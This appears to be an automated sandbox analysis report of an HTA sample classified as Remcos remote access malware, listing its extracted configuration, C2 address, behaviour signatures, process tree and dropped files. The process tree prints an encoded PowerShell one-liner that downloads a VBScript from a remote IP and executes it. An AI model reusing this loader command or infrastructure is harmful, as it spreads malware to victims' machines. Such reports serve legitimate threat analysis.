Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/11/2026, 06:50

General

  • Target
    growthforudpate.hta
  • Size 15KB
  • Sample261104-hmfltsy1ev
  • SHA256 5acfbdb54c8b77fffa75bdabf3edb81e8f656828755f5b5f390b001362226ca3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • Remcos

C2
  • 31.40.204.178:14535

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-JEYOGK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\growthforudpate.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWErsHELL.eXe -ex bYpAsS -NOP -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcARwBFAFQAIAAJAAkACQAJAAkAHSBoAHQAdABwADoALwAvADIAMAA0AC4ANAA0AC4AOQAzAC4AOQAxAC8AMQAyADIALwB1AHAAZABhAHQAZQBkAEcAbABvAGIAYQBsAC4AdgBiAHMAHSAgACAAIAAgACAAIAAgACAAIAAtAG8AdQBUAEYASQBMAGUAIAAgACAAIAAdICQAZQBuAFYAOgBhAFAAcABkAEEAdABBAFwAbwB3AG8AbgBkAGYAdQBsAGcAcgB3AG8AdABoAC4AdgBiAHMAHSAgACAACQAgACAACQAgACAACQAJACAAIAAgAAkACQAgACAAIAAgACAACQA7ACAACQAJAAkACQAJAAkACQAmACAACQAJACAAIAAgAAkAIAAJAAkACQAgACAACQAgACAACQAgAAkACQAgAAkACQAgAB0gJABFAG4AdgA6AGEAcABQAGQAQQB0AEEAXABvAHcAbwBuAGQAZgB1AGwAZwByAHcAbwB0AGgALgB2AGIAcwAdIA== "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4192
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWErsHELL.eXe -ex bYpAsS -NOP -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcARwBFAFQAIAAJAAkACQAJAAkAHSBoAHQAdABwADoALwAvADIAMAA0AC4ANAA0AC4AOQAzAC4AOQAxAC8AMQAyADIALwB1AHAAZABhAHQAZQBkAEcAbABvAGIAYQBsAC4AdgBiAHMAHSAgACAAIAAgACAAIAAgACAAIAAtAG8AdQBUAEYASQBMAGUAIAAgACAAIAAdICQAZQBuAFYAOgBhAFAAcABkAEEAdABBAFwAbwB3AG8AbgBkAGYAdQBsAGcAcgB3AG8AdABoAC4AdgBiAHMAHSAgACAACQAgACAACQAgACAACQAJACAAIAAgAAkACQAgACAAIAAgACAACQA7ACAACQAJAAkACQAJAAkACQAmACAACQAJACAAIAAgAAkAIAAJAAkACQAgACAACQAgACAACQAgAAkACQAgAAkACQAgAB0gJABFAG4AdgA6AGEAcABQAGQAQQB0AEEAXABvAHcAbwBuAGQAZgB1AGwAZwByAHcAbwB0AGgALgB2AGIAcwAdIA== "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\owondfulgrwoth.vbs"
          4⤵
          • Badlisted process makes network request
          • Executes a VBScript file via the Windows Script Host.
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -file "C:\Temp\OIEUDJZX.ps1"
            5⤵
            • Suspicious use of SetThreadContext
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3692
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              6⤵
              • Accesses Microsoft Outlook profiles
              • outlook_office_path
              PID:1988

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        OIEUDJZX.ps1

        • Path C:\Temp\OIEUDJZX.ps1
        • Size 2.4MB
        • SHA256 db931358d0e14eceabe05119c3bd263df44e420fdb81f34656031ad3d37ac0a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 16KB
        • SHA256 a17d49a8f3c84772aec345213ac4d6675f295d1752fdd40a7326195979f78c4f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_nqfoxsvj.2gm.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqfoxsvj.2gm.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        owondfulgrwoth.vbs

        • Path C:\Users\Admin\AppData\Roaming\owondfulgrwoth.vbs
        • Size 3KB
        • SHA256 fa7f97cba435cc5cb0b0039ecac3ac64762383978584c3aeaac2599082a831c2
        • MD5 SHA1 SHA512 TLSH

        memory/1988-53-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-43-0x0000000010000000-0x00000000100F7000-memory.dmp

        memory/1988-34-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-51-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-50-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-47-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-48-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-46-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-45-0x0000000010000000-0x00000000100F7000-memory.dmp

        memory/1988-44-0x0000000010000000-0x00000000100F7000-memory.dmp

        memory/1988-55-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-52-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-40-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-54-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-56-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-39-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-57-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-38-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-37-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-36-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1988-35-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/3060-13-0x0000000008150000-0x00000000087CC000-memory.dmp

        memory/3060-8-0x0000000005C60000-0x0000000005CC6000-memory.dmp

        memory/3060-1-0x0000000003020000-0x0000000003056000-memory.dmp

        memory/3060-2-0x0000000005CD0000-0x000000000631A000-memory.dmp

        memory/3060-3-0x0000000074220000-0x00000000749DC000-memory.dmp

        memory/3060-4-0x0000000005AD0000-0x0000000005AF2000-memory.dmp

        memory/3060-5-0x0000000005BF0000-0x0000000005C56000-memory.dmp

        memory/3060-21-0x0000000074220000-0x00000000749DC000-memory.dmp

        memory/3060-15-0x0000000074220000-0x00000000749DC000-memory.dmp

        memory/3060-14-0x0000000006D50000-0x0000000006D6A000-memory.dmp

        memory/3060-0-0x0000000074232000-0x0000000074233000-memory.dmp

        memory/3060-12-0x0000000006860000-0x00000000068AC000-memory.dmp

        memory/3060-11-0x0000000006830000-0x000000000684E000-memory.dmp

        memory/3060-9-0x0000000006440000-0x000000000679B000-memory.dmp

        memory/3060-10-0x0000000074220000-0x00000000749DC000-memory.dmp

        memory/3692-24-0x0000000006250000-0x00000000065AB000-memory.dmp

        memory/3692-33-0x0000000007860000-0x0000000007876000-memory.dmp

        memory/3692-28-0x0000000006D00000-0x0000000006D4C000-memory.dmp

        memory/3692-30-0x0000000007B30000-0x0000000007BC6000-memory.dmp

        memory/3692-31-0x0000000007790000-0x00000000077B2000-memory.dmp

        memory/3692-32-0x000000000DD50000-0x000000000E30A000-memory.dmp